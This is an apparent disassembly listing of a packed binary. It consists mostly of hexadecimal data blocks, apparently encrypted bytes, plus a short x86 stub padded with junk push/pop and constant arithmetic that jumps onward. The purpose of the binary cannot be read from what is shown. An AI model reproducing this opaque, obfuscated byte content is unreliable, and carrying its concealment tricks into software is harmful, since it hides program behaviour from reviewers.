		dd 52DA07Dh, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F5956520h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 77EDA7EFh, 8DE9B7Dh,	0E5779592h, 0F3360B7Ah,	866E8872h
		dd 5CEDA7EFh, 54C54D7Dh, 0BA8AAD79h, 90956520h,	2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 6A2F6885h, 1F2FFA9Ah, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 99EDA3EFh,	99C0707Dh
		dd 5D721DE2h, 2C7F518Ah, 0CDE002D0h, 8721DE2h, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 2BE22AFFh, 32C87D7Dh, 0F3721DEDh
		dd 0FCF8EC0Fh, 0BB956533h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 5CE22AF7h
		dd 89C87D7Dh, 2F721DEDh, 12F8F10Fh, 0CC956533h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 242B6885h, 0C3F8FA9Ah,	289561DCh
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 28956520h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 2BEDA7EFh, 0EA917D7Dh,	42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F5956524h, 0E14860F7h, 0A0F8FA9Ah
		dd 4ECD3E39h, 0D075FD7Ah, 77EDA3EFh, 0CEB57E7Dh, 1A8935F1h
		dd 12EDA7EFh, 8E97577Dh, 43BE15B9h, 1DFF0285h, 5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 0B3C317FBh, 0EAFCFA9Ah, 92CF7D86h
		dd 0E5721DE2h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0BEEDA3E8h
		dd 0ADFCBD7Dh, 90956518h, 79F835F1h, 0E29560F0h, 6A2F6F85h
		dd 7FFDFA9Ah, 4801F3Ch,	5E75FD6Dh, 0B7177F79h, 1A35FA9Ah
		dd 2BE883E0h, 0E1B67E7Dh, 4B22FEF3h, 7975FD64h,	24177779h
		dd 0ECF8FA9Ah, 28956016h, 2F2B5989h, 0CB75FD72h, 7D2B6F85h
		dd 0AF6FA9Ah, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 2BE86090h, 83CF707Dh, 79721DE2h, 71CCF50Fh, 4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 77ED9BE7h, 0D3497D7Dh, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0B2A317FBh
		dd 25F8FA9Ah, 0CC95651Ch, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 0C61340F7h, 0EF46FA9Ah, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F595651Ch, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 7D1340F7h,	0F3CDFA9Ah
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0F0678F7h
		dd 0D08AFA9Ah, 9D8DCA8Bh, 7D32E45h, 23E4B8h, 0C1858900h
		dd 0E807D324h, 0
		dd 0D0558h, 3890000h, 23E4E9h, 8F9h dup(0)
		dd 0C0CEB00h, 0F6174EA4h, 3545E0DDh, 0E983BA63h, 762h
		dd 756E9h, 9ECF600h, 0BF26AE0Ah, 16FFE4B0h, 652E815Fh
		dd 17FE52AEh, 134D6358h, 0C311E0B1h, 15E3B263h,	0D02CE3B0h
		dd 0B4D99801h, 722D2191h, 0DDC12C03h, 228B5A05h, 6036E851h
		dd 1DDCAAD8h, 78CD33A4h, 0A8FED29Bh, 2286FAEDh,	9FF1C273h
		dd 0F5CBC44Dh, 70258A93h, 1A83519Fh, 87591A3Eh,	4EA26B24h
		dd 814F2085h, 0FAE3F253h, 3A331FF9h, 296F13CFh,	68FB865Fh
		dd 7B2E7BEFh, 0B0BEEA48h, 0CB3168EBh, 0BB1B9C05h, 7A023B6Fh
		dd 3B973BB9h, 0C59165C1h, 3D020F1h, 4D372B8Bh, 0BBB7A23Fh
		dd 0FF50AC97h, 0C8FB5D16h, 3F4CF46Ah, 3DFEFAA2h, 4EB71C78h
		dd 5D0E6145h, 1DA31D81h, 0EA3E4FB4h, 4EAC0571h,	36BCF89Dh
		dd 0EC667F43h, 0D101BCB3h, 0B5BC21B2h, 2E594D1h, 5F3499E7h
		dd 9501BA8Eh, 0BFFF2718h, 6DD31A96h, 0D3268C83h, 447003C0h
		dd 622794F8h, 9D419E54h, 0E8405125h, 6F43136Fh,	18FD529Eh
		dd 952A712Dh, 9D5639E6h, 2A7B591Ch, 0DDF9E2F1h,	20EB214h
		dd 660EEC42h, 8D34553h,	50D1E5AAh, 92F64A3Ah, 0DFD65203h
		dd 0A6786E62h, 17BD22Dh, 0FE62D311h, 856C74A9h,	0C9C8AC8Ch
		dd 0E6E188D5h, 7F8F813Ch, 329F8F35h, 3D2CADC9h,	25E5D8B5h
		dd 0EFCD165Fh, 0A6507CC6h, 0C0540517h, 33899C87h, 0DA2E3FD0h
		dd 241A267Ch, 6BECC83Eh, 0A4723FDh, 53EDC147h, 44186E7Fh
		dd 0C4B76F81h, 0F1575D9Fh, 0D5D40B69h, 4DAB346Ah, 7C541D86h
		dd 0BD0F6B2Ah, 62C51BD4h, 6988E0B1h, 23F5FCECh,	0C9C42C9Ch
		dd 0CB0392ADh, 7, 4AA58E3h, 5A9C0000h, 0EA4F20F5h, 0B01B77FFh
		dd 0E7CB2422h, 0DCC1126Eh, 0A69A35E9h, 0D77CC786h, 0A510955Eh
		dd 24F15625h, 553E8F6Dh, 111DD9Ch, 0D927E8ADh, 83EAA308h
		dd 0FADB12D6h, 761F71CFh, 0ED8C3CC5h, 886EC98h,	0DE242394h
		dd 0A9F7FEDAh, 88095B38h, 0A003796Ch, 53AD66EFh, 0D8241FF0h
		dd 561D9E77h, 186ED2F7h, 8545BC7Dh, 4090EDF6h, 93767D59h
		dd 94422096h, 0D0A42423h, 0C06BAF07h, 0FA89066Ch, 1061E55Bh
		dd 0E7072A56h, 0CD33365Bh, 75D39C79h, 89085CC4h, 83B8845Eh
		dd 0BC9DBCB6h, 1BC73AFBh, 0DC448404h, 99E77001h, 418F6035h
		dd 0E6728EDh, 8EE09F53h, 27AA0807h, 32000001h, 393AE144h
		dd 0F2807867h, 2422B09Ch, 83926652h, 4CB1229Eh,	0C74E543h
		dd 95EBDEC7h, 82E0564Eh, 642422B0h, 2FBA6490h, 77DD594Eh
		dd 0C521F263h, 10F6CE7Ch, 547267Ah, 0D47FD749h,	0C325AB13h
		dd 4CAABFA2h, 24231C56h, 0A61B9C98h, 0AD8E5322h, 0AB9EBA5Bh
		dd 38A9F255h, 1A3E1AD3h, 0A608D4A1h, 862AF4EFh,	0D9F48437h
		dd 702184D8h, 0DD42CE7h, 0F1411D95h, 0D1A52422h, 921EE6CFh
		dd 0F6E2A5CEh, 0F40CD6D3h, 4D0DF256h, 61F73E1h,	0E3CF2423h
		dd 19C4A172h, 0D144AAD9h, 8D90F6C2h, 3FB78639h,	0BAE7B4B1h
		dd 0E773D59Eh, 24040D86h, 1F713F50h, 3C7FF2A0h,	126E6B96h
		dd 3513DCC1h, 2E805021h, 43A71791h, 5A7E11A8h, 2DE64799h
		dd 8D3D0864h, 16DA8766h, 878E0767h, 4FB61EA2h, 0F71EA3Eh
		dd 0F4F1D4BDh, 22B8207Eh, 69F2C624h, 0AE02EFAAh, 7CD0AF23h
		dd 864EB295h, 1DF961Fh,	0D026E7ACh, 37AF07DEh, 0DEC9581Eh
		dd 875B4E4Bh, 0ED64D564h, 0EEA7099Dh, 0A62F4325h, 0DB84D350h
		dd 4F8A221Bh, 0A8BDC9Bh, 0F55AA10Bh, 2C814F20h,	93D6A667h
		dd 9266D92Dh, 0D36C903Bh, 0FD5B1440h, 7605C53Ch, 258D8411h
		dd 5BD625F1h, 0A8FD8366h, 0EE0985EBh, 0D9DDA419h, 0FD71F660h
		dd 0F65E28Fh, 56BA0163h, 0BF28B703h, 0A591ADBDh, 331FB841h
		dd 4EC43C1Eh, 0FE8A587Dh, 8FEDFFFFh, 0A8BDD3Eh,	92432F09h
		dd 0BCE74422h, 90E8A968h, 0C84E8A8Eh, 96C2FEE2h, 0AB7643B3h
		dd 268CA6DBh, 4986EF28h, 0A03ECF3h, 67BB971Fh, 472BC94Fh
		dd 967FCF2Bh, 68BA7BDDh, 248F60Eh, 5561071Eh, 0A3FF7772h
		dd 431DFE37h, 0D32DE66Fh, 0A5C0A30Ch, 0FE37514Dh, 18A1951Dh
		dd 67507F5Dh, 9509697Ch, 591DFE37h, 0C917DC5Dh,	81E4AD66h
		dd 7E6514D4h, 0D302DE95h, 37075BDBh, 93E71DFEh,	0B98F6031h
		dd 0C859E39Dh, 0D1B40F55h, 9D0AECA5h, 0D2C4C232h, 36683810h
		dd 0E649E63h, 3B40B690h, 0C5766256h, 4EB9AD51h,	379E2251h
		dd 52268F56h, 96EE741h,	1700FD6Dh, 1FB07234h, 0D2819DFh
		dd 3B3BAD2Eh, 0B2216090h, 676E4A49h, 0E1F5A006h, 0F87DAA10h
		dd 0B1F0AD36h, 0E8C15F27h, 23F9A5CDh, 0B859AB4Fh, 0A9BCA99Ch
		dd 47915549h, 0BC25992Ah, 96C29657h, 0CF9B125h,	0B0F3F83Dh
		dd 7A3640C8h, 0DA8EACFCh, 0DD6346E9h, 26020B88h, 18C733B5h
		dd 6E8ADEAFh, 4FA7C2A7h, 5AA9253h, 0EBA5BABh, 97BB22B2h
		dd 0CC7FAC1Eh, 911999h,	9D8BA699h, 0D654957Fh, 0B418056Ah
		dd 203414DDh, 68CEF94Fh, 9B9A7FEAh, 0E33FF8FCh,	2A2C9181h
		dd 2AF46CC2h, 0A1C050C2h, 0A5A9AF7Ch, 0ABA8C1BBh, 78922EA8h
		dd 4531B5ADh, 3F906031h, 0EC419F56h, 28B45DAFh,	0E4444DC4h
		dd 6FA7FF10h, 32FD5Eh, 614A97E5h, 0F3639FF3h, 461E0948h
		dd 0C1F51D6Ah, 4EA83105h, 364662BFh, 784E983Eh,	11C03DF3h
		dd 0F05524A4h, 25F96C23h, 0CF8D6895h, 858E1FAh,	0D21EEFA6h
		dd 0C3D7987Dh, 3ED73884h, 8B745B35h, 9D2A682h, 0BDA05898h
		dd 0D7971508h, 0B0h, 238A5AF7h,	86ECF96Ch, 2422B008h, 0FF61DADEh
		dd 0CE2AE9D2h, 51AF9A7Bh, 581982h, 0CE227E37h, 0A9091C47h
		dd 2422AFB5h, 0B97C3D39h, 90889DBh, 0DB894A14h,	0F6812057h
		dd 0A8BDB45h, 850E61DFh, 0A6CDD68Ch, 0C94DB3BBh, 8B692CADh
		dd 0A79A593Ah, 855E34C2h, 0A4902423h, 2506CD33h, 0BD9B54C1h
		dd 0AAFEDA99h, 0C8722EBh, 0CBC42DB4h, 3DF3F762h, 7A91AA08h
		dd 229E8BAEh, 2C8A4BB2h, 0BDE68C1Dh, 340335AFh,	6FF3E4C2h
		dd 0A6E98C83h, 7058h, 0E6109C00h, 0FD0DE1E0h, 0F3D80977h
		dd 399D1EFAh, 30774A09h, 704A65FFh, 7578EC35h, 55DD08C8h
		dd 6C238A5Ah, 9B5A4390h, 24895AA6h, 0F44C0D6Bh,	0A3F10091h
		dd 5D31C141h, 912422B0h, 0F6C2D1A5h, 5C458B92h,	0BA29B593h
		dd 926E2551h, 76EC4A3Ch, 782422B0h, 3B99587Ch, 0F76A29EAh
		dd 0B00E84F2h, 0D4E02422h, 0EDD6FD63h, 3D826h, 1D1C0000h
		dd 25885AD7h, 644D946Ch, 23F055ABh, 6530966Ah, 21F054ACh
		dd 652C8050h, 20F154ACh, 6B50814Fh, 1F864EA2h, 0E068584Eh
		dd 8900001Eh, 0A568240Ch, 89000010h, 89522434h,	4C281E2h
		dd 83000000h, 148704EAh, 0C895C24h, 0FF685524h,	8B38D126h
		dd 0C481242Ch, 4, 2C81F581h, 0C5813F22h, 0FFEDB7E6h, 685DEE89h
		dd 7BDEh, 81242489h, 42404h, 56590000h,	80240481h, 8F149316h
		dd 0B8500841h, 14931680h, 58084129h, 592434FFh,	4C481h
		dd 348B0000h, 0E0895024h, 405h,	4C08300h, 5C240487h, 0F37B16E9h
		dd 0B8A295FFh, 7E0C931h, 0D38BC503h, 0CA6C8D8Dh, 6A07E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5F44BC3h, 0D7EAF940h, 0B044E27Bh, 418D89AFh,	2907D329h
		dd 0D312258Dh, 99D8907h, 0C707D31Dh, 0D32BA185h, 689807h
		dd 0BDBD8B00h, 0C707D307h, 0D3331185h, 7, 894FB400h, 0D334BDB5h
		dd 1DB5FF07h, 6007D31Ah, 6860Fh, 9D8B0000h, 7D31D5Dh, 3005858Bh
		dd 0FF6107D3h, 0D32D3D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 3B0884C3h, 6A7F35h, 301995FFh, 0C08B07D3h, 8EB0CEBh
		dd 0F60D09C8h, 0AB7C5FBEh, 8D8D0604h, 7E0CB63h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 52C35747h, 9946EA2Eh
		dd 1B17005Bh, 418D89C9h, 6A07D329h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B80C356h
		dd 0D32021B5h, 0A185C707h, 5C07D32Bh, 0F00005Ch, 68Ch
		dd 25958B00h, 907D331h,	0D3074D9Dh, 1185C707h, 7D333h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E924C351h, 0Ah, 0B55F899h, 0AD11679Dh
		dd 0B5FFCF8Ch, 7D324A5h, 0C0ABC681h, 95FF5C8Fh,	7D32D3Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 48C35242h
		dd 0C93B7C4Fh, 8B4965D0h, 0D32EA995h, 0FF006A07h, 0D3301995h
		dd 0EBC08B07h, 288D702Eh, 0FF0D0896h, 0C43F2AF7h, 0BCF87AEFh
		dd 0ED109B9Ah, 0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 3878B837h
		dd 25B7DF61h, 0FE07DEBDh, 0E87AF155h, 8, 0CC694260h, 99B79F2h
		dd 5906E280h, 1A118D89h, 0C18107D3h, 5E33h, 1291BD8Bh
		dd 616807D3h, 5B000017h, 6DB58B60h, 2907D313h, 0D31EED85h
		dd 18B6107h, 5E85660h, 0E0000000h, 0AA19B938h, 11E85E5Bh
		dd 0C9000000h, 0AD9032D3h, 16436E55h, 494A65B3h, 67AE5D0h
		dd 615A6160h, 5EDCF081h, 958B5BE0h, 7D31FF5h, 0E7AAE881h
		dd 8B661ED3h, 65F081F2h, 8B540492h, 0D331A195h,	0DE95007h
		dd 0D2000000h, 10E40EE9h, 0C0C7033Ch, 5E05927Dh, 8166018Fh
		dd 83FC1AEAh, 8B0F04E9h, 0
		dd 8B850F4Bh, 0FFFFFFFh, 68Fh, 0B5B50900h, 0E807D30Ch
		dd 0Fh,	29133C00h, 0CC52EB1Bh, 4A18272Dh, 6654358Eh, 114BD681h
		dd 0B1D1BF5Bh, 0C3814AFCh, 0D966h, 14E9h, 0F496DC00h, 4978CF66h
		dd 58B62436h, 7EF89CCAh, 0E38BB472h, 3624B95Fh,	33FF0000h
		dd 69A611B8h, 9D015A75h, 7D32765h, 48F5F281h, 820F17F5h
		dd 6, 9AD858Bh,	0C28107D3h, 22940CF4h, 0FA8B6653h, 1FF28158h
		dd 6073EB8Ah, 2E61858Bh, 816607D3h, 619352E0h, 85331389h
		dd 7D30D61h, 0F801EB83h, 664B4B4Bh, 812310BEh, 1E9h, 23850F00h
		dd 60000000h, 4DDEC081h, 6E916D1h, 3000000h, 3933605Ah
		dd 27E96161h, 47000000h, 3F0F29BFh, 0DF2CE213h,	858B4AA8h
		dd 7D314C5h, 0FFFF75E9h, 3CEEA6FFh, 0F39310C1h,	5E4074A9h
		dd 0F1E4351Eh, 2EE9385Bh, 46000000h, 138ADFh, 0Ah dup(0)
		dd 6CAE900h, 0EDF50000h, 25AB0908h, 0FAE7B5BCh,	53B60211h
		dd 83E5B3C2h, 369C0312h, 444BCA1Eh, 707F1678h, 4352C324h
		dd 8E856E75h, 9AF87EEBh, 4C2C037Dh, 8B5A1090h, 2D7F5122h
		dd 0D5FB8164h, 944523ECh, 2DECF3C1h, 9D2073F0h,	8C857163h
		dd 342A889Dh, 3B242324h, 2323E7BBh, 0B72B0724h,	3FA6FABBh
		dd 392C1DD6h, 2323E5B9h, 0D12D0924h, 0BC24957Eh, 3A189E14h
		dd 0AC242324h, 0DE3ACC8h, 0BE12DBB8h, 96E9AA6Bh, 1F007CBh
		dd 0FEE59454h, 0C8C94A9Dh, 988D8470h, 8750C124h, 64C7D439h
		dd 7286E2ABh, 23F055A3h, 6530966Ah, 0D414C1ACh,	1CD340A5h
		dd 0A30CD329h, 5C27B8EAh, 0B1C5DF61h, 25AC14C5h, 86D589BCh
		dd 6AA74267h, 1405CE87h, 0C4CD44A8h, 9DF18164h,	51242323h
		dd 1482F465h, 0D87729BFh, 5550EF8Ah, 86EA568Bh,	6FF0460Fh
		dd 0C6BB23h, 0B86A2B7Ch, 78DCBFD2h, 1C7B3C87h, 40B838A5h
		dd 7D4BC75Dh, 0B9951D08h, 2D24235Bh, 8AC89049h,	0E8000000h
		dd 51228B5Ah, 0F23C3675h, 0A588388Eh, 0FC7AD13Ah, 1F5C2FB1h
		dd 0B8775EE2h, 0BDDB12ADh, 9A537F0Dh, 188BFDBEh, 0C39F4585h
		dd 0E70F645Fh, 8374E58Dh, 77C93C08h, 18Eh, 0DFC32600h
		dd 1AAF1CE7h, 156BEC59h, 3C2DE6CFh, 5E90AC62h, 59C1AD37h
		dd 3A2DEF77h, 358B4C28h, 9006CEAFh, 23602C22h, 0A2B6C224h
		dd 0E64C77D1h, 24236068h, 955E7A7Eh, 6627E83Bh,	9308DA0Fh
		dd 0FCB9CDD4h, 9F53CE87h, 0A09F0E0h, 0B7BE27AEh, 1FF65ADDh
		dd 4C95EB4Eh, 98F67C67h, 4E2422B0h, 418FF16Ah, 0A2C59758h
		dd 39143FC0h, 34A567D3h, 0C2A73DADh, 0A8534FA7h, 9F932423h
		dd 23A85D31h, 34A59124h, 0DA9978CCh, 0FBEED7FEh, 0C5765F85h
		dd 0CC31A2EEh, 0F99AEDC3h, 0D138A8F8h, 0F8F865C0h, 28A81701h
		dd 4C1CDDD0h, 89B77Dh, 0F04C0000h, 0D53FF8E1h, 4E1FF65Ah
		dd 0EFF45182h, 4421F206h, 0C62A5999h, 1074404Fh, 0D3634681h
		dd 2422B07Fh, 0A0FE746Fh, 462422B0h, 0FED58672h, 0BDB65FB2h
		dd 38AE229Dh, 0E0B160C4h, 75E8CF88h, 1F7D4B25h,	66h, 1FF65AAFh
		dd 8337EB4Eh, 718B8BF9h, 77D828B1h, 192B278Fh, 0A8BB2423h
		dd 2319544Ah, 0BA9E9A24h, 0CF7AD59Eh, 4A19C51Bh, 8E36B6ACh
		dd 0BB971F4Ah, 2B242344h, 0DE328E47h, 77C53837h, 0F3DC0314h
		dd 5AFE56DFh, 8C6A238Ah, 16E030F4h, 86123C0Ch, 0DBC03637h
		dd 1A89AA14h, 3EB63AA7h, 0BED2665Bh, 139h, 895A5900h, 4E956B24h
		dd 0D6FE8265h, 0C0AD66EFh, 0B10FD515h, 56B2BB20h, 97567BE5h
		dd 26B7B04Fh, 551C3845h, 58398CF0h, 8B3E6BDFh, 64D3DA58h
		dd 6DC9CD23h, 228D61Fh,	20138FE7h, 0DFD3171Ah, 83550156h
		dd 7323F148h, 1F0A03EFh, 15C64FA1h, 0B4BB24ABh,	4998F9E8h
		dd 0A7E49E60h, 6E819A2Eh, 2A2D898Ah, 0CC32C163h, 0C0C5F041h
		dd 0CE209CCBh, 69F24647h, 1F47C90Dh, 0A3C6B70Fh, 8D4EB71Dh
		dd 3EA5D414h, 828B085Dh, 0F5C3D2A6h, 5F448DEEh,	0D59EBA8Eh
		dd 22EBD4FBh, 954B7F4Ah, 0AC50B927h, 0A5FBBC25h, 391ED53Eh
		dd 4787D256h, 22140h, 0E7445000h, 5FA11134h, 5D0AED00h
		dd 9022055Eh, 7058E452h, 0EF59C370h, 2FB60A03h,	0E2F1CFC6h
		dd 0E0562E81h, 3C4F9082h, 0AB649064h, 81E8A9CDh, 0D1F4D99Dh
		dd 8E47FB81h, 393AA332h, 7E8F7867h, 333CA132h, 8C6367D2h
		dd 92F1E16Ch, 0B49B5A43h, 957809D9h, 4519998Ch,	0A93C4F9Fh
		dd 461C9ACDh, 0A83C4F9Fh, 924D0BCCh, 0DA000000h, 0F87EEE08h
		dd 0A2139C43h, 0E93DC332h, 0CCC52CB4h, 0B187886Ch, 0BA61C228h
		dd 23AD278Fh, 0DA4BDC2Fh, 9B3A23F5h, 0FE7DC025h, 76C3FAA7h
		dd 92F6BF93h, 0D8F1CB24h, 0E15154A3h, 0E3A6F26Dh, 53C47581h
		dd 0AE0809EDh, 4AEF0D3h, 10F9E854h, 46B029FFh, 0E5D5863Fh
		dd 6A2B2BC9h, 269D17A6h, 0AA6BBD43h, 2B40B031h,	9E144FFAh
		dd 0D9D1A730h, 5E154B17h, 52317CD1h, 9FA32D89h,	0BC1219DCh
		dd 24293A88h, 674C95EBh, 0AE09D2A6h, 67373E3Ah,	126h, 34E7440Bh
		dd 0AD25AB11h, 22B04945h, 0BD999D24h, 0E6E354B4h, 3E854190h
		dd 2F103F7Ah, 7200CCBCh, 8FB52649h, 0A2C5B135h,	6E548C0h
		dd 3D285C18h, 0CCF3D9B5h, 0B0290D6Fh, 0DDC60DE3h, 0C0363316h
		dd 6FCCF3E2h, 0EEF0E4BEh, 0A91D1349h, 461C9ACDh, 0A86FCD3Ah
		dd 2EB50BCCh, 5D1F844Dh, 0F81C091Ch, 0D798BC25h, 259DCDFFh
		dd 7996CBC0h, 746D9B37h, 85D1D9AAh, 0C7A17223h,	0B2C72CD5h
		dd 2F0FCD29h, 11EE6FADh, 0E2F19040h, 0EF168CEAh, 6D86FCCh
		dd 0A8CEB294h, 5C784Dh,	4D2BE4ADh, 9A643E29h, 4EFE9C1Ch
		dd 0DD4015C6h, 0CE87705Fh, 695C0F5Ch, 0BB2F2709h, 0DF8FD505h
		dd 0F17F0D54h, 3833A01Bh, 6DFEE0C3h, 0CFBD6B07h, 4632961Fh
		dd 836C734Dh, 71ED4560h, 75B42C07h, 0A5FBB881h,	0C51BD441h
		dd 0E3BDB61Fh, 0D7421182h, 0C8EDDC13h, 0ED7D416h, 65F95535h
		dd 0A31E977Ch, 0E243B92Fh, 0E2C03631h, 4B42BFCh, 0E643A730h
		dd 5AAC1033h, 0E556B2BBh, 0E98C8EE4h, 9D70AF64h, 9CB6B704h
		dd 333A9D32h, 0F7FB6BACh, 0E74490F8h, 58AB1134h, 0D962B6B7h
		dd 0D15C82F0h, 9420785Dh, 0F7B925B2h, 0EC6D2689h, 6363E38Bh
		dd 675A2C35h, 8E3E92BBh, 83341674h, 90603105h, 34F3E041h
		dd 0CF5A575Ch, 0AA638FADh, 0DEBAACEh, 0B214DDC6h, 310F573Dh
		dd 602F53BFh, 219FC250h, 229445CEh, 0DF8F460Fh,	0BCE145B9h
		dd 83E5AE17h, 0FE529E6Fh, 5B065617h, 0C4716097h, 0AF6E7504h
		dd 8F5415BAh, 110B6D26h, 48970539h, 905F735Fh, 3B349D44h
		dd 0B7190265h, 1F3315DEh, 8E42EF4Eh, 0F8F7E0EFh, 8D54359Ch
		dd 0E90D6B24h, 3D628h, 1D1E0000h, 25885AD7h, 644D946Ch
		dd 23F055ABh, 6530966Ah, 21F054ACh, 652C8050h, 20F154ACh
		dd 6B50814Fh, 1F864EA2h, 1168584Eh, 89000074h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 65FB6C6Eh
		or	esi, 76255222h
		sub	esi, 77815B5Eh
		sub	esi, 44E6F1Dh
		sub	esi, 0C8CC603Ah
		mov	ecx, 3B44211Eh
		sub	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		push	8
		pop	edx
		add	edx, edi
		mov	[edx], ecx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5DDB77
; ---------------------------------------------------------------------------
		db 0E0h
		dd 76AFFF75h, 3406D4DAh, 0E0D3A1B8h, 0FFC50307h, 0DDD340E0h
		dd 0A6619834h, 0A43E3F2Bh, 3574E226h, 153FA020h, 5A8B9207h
		dd 76A50A0Ch, 0E70F1862h, 8456D769h, 0ED47191Fh, 0C24CA843h
		dd 6F053466h, 0BD0B5E62h, 4639AA1Eh, 3648BF25h,	0E2849213h
		dd 0E9F05F3Ah, 2F16E064h, 6E489156h, 0E86E223Eh, 0BD237C2Fh
		dd 0DCB19C28h, 1E67EA4Fh, 67AB1C1Bh, 0E1E4E909h, 50B4E02Ch
		dd 9262BB64h, 5358D227h, 0B785EA3Fh, 0DE866h, 32E50000h
		dd 840EEA2h, 89412687h,	0F46ABB6h, 181h, 815BF500h, 523F1DC7h
		dd 0C6C38168h, 0E900006Ah, 5, 0BA8614D5h, 527B9B0h, 0C1812AC8h
		dd 0D5381562h, 2ECAEBFh, 0E933FF59h, 9,	0C60F3AC5h, 0BD6084DBh
		dd 78BE586Bh, 816FF6B7h, 600849F0h, 0F88B6630h,	0A2D6E881h
		dd 0DE9691Fh, 0B2000000h, 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h
		dd 5CA7F081h, 389125Dh,	405CF81h, 0EB837CF7h, 0BB526003h
		dd 6C610109h, 0C0BF0F5Bh, 0F9BF4B61h, 8369AF43h, 850F01E9h
		dd 0FFFFFF9Dh, 28F0Fh, 0F38B0000h, 1AE9h, 0BF864600h, 7Ah
		dd 4 dup(0)
		dd 0E9000000h, 1374h, 0E0D8A068h, 1E48E907h, 2768FFF8h
		dd 0E907E0DAh, 0FFF81E3Eh, 0E0DBB368h, 1E34E907h, 0A868FFF8h
		dd 0E907E0DCh, 0FFF81E2Ah, 0E0E10168h, 1E20E907h, 0D68FFF8h
		dd 0E907E0E6h, 0FFF81E16h, 0E0E78868h, 1E0CE907h, 8164FFF8h
		dd 36B17A4Fh, 8662E9FAh, 35B2794Ah, 8465E6FBh, 54C774Ch
		dd 0E1F22EBBh, 8F649C4Ah, 0E5F62ABCh, 91629E46h, 0DE4E01ABh
		dd 0E4AE5DC3h, 0A61CFE14h, 0BD16B3BBh, 0E08247A9h, 35F64E30h
